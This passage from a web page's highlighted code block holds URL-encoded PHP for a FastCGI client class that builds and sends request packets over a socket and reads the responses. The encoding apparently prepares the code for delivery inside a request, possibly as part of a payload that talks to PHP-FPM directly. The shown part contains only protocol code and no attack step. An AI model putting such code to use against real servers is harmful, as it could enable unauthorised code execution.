class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>len<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>contentLength<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>while<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>len<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>buf<span class="hljs-symbol">%3</span>Dfread<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>len<span class="hljs-symbol">%29</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>len<span class="hljs-symbol">%20</span>-<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>strlen<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>buf<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>content<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>buf<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>paddingLength<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>buf<span class="hljs-symbol">%3</span>Dfread<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>paddingLength<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%20</span>else<span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span><span class="hljs-keyword">false</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>public<span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>request<span class="hljs-symbol">%28</span>array<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>params<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>stdin<span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>response<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>Econnect<span class="hljs-symbol">%28</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>request<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EbuildPacket<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ABEGIN_REQUEST<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%280</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ARESPONDER<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span>int<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_keepAlive<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>str_repeat<span class="hljs-symbol">%28</span>chr<span class="hljs-symbol">%280</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%205</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>paramsRequest<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>foreach<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>params<span class="hljs-symbol">%20</span>as<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>key<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>value<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>paramsRequest<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EbuildNvpair<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>key<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>value<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>paramsRequest<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>request<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EbuildPacket<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>APARAMS<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>paramsRequest<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>request<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EbuildPacket<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>APARAMS<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>stdin<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>request<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EbuildPacket<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ASTDIN<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>stdin<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>request<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EbuildPacket<span class="hljs-symbol">%28</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ASTDIN<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>fwrite<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>request<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>do<span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EreadPacket<span class="hljs-symbol">%28</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ASTDOUT<span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>C<span class="hljs-symbol">%7</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ASTDERR<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>response<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>content<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%20</span>while<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%21</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AEND_REQUEST<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%21</span>is_array<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%29</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>throw<span class="hljs-symbol">%20</span>new<span class="hljs-symbol">%20</span>Exception<span class="hljs-symbol">%28</span><span class="hljs-symbol">%27</span>Bad<span class="hljs-symbol">%20</span>request<span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">switch</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>content<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%7</span>B<span class="hljs-number">4</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>case<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>ACANT_MPX_CONN<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>throw<span class="hljs-symbol">%20</span>new<span class="hljs-symbol">%20</span>Exception<span class="hljs-symbol">%28</span><span class="hljs-symbol">%27</span>This<span class="hljs-symbol">%20</span>app<span class="hljs-symbol">%20</span>can<span class="hljs-symbol">%5</span>C<span class="hljs-symbol">%27</span>t<span 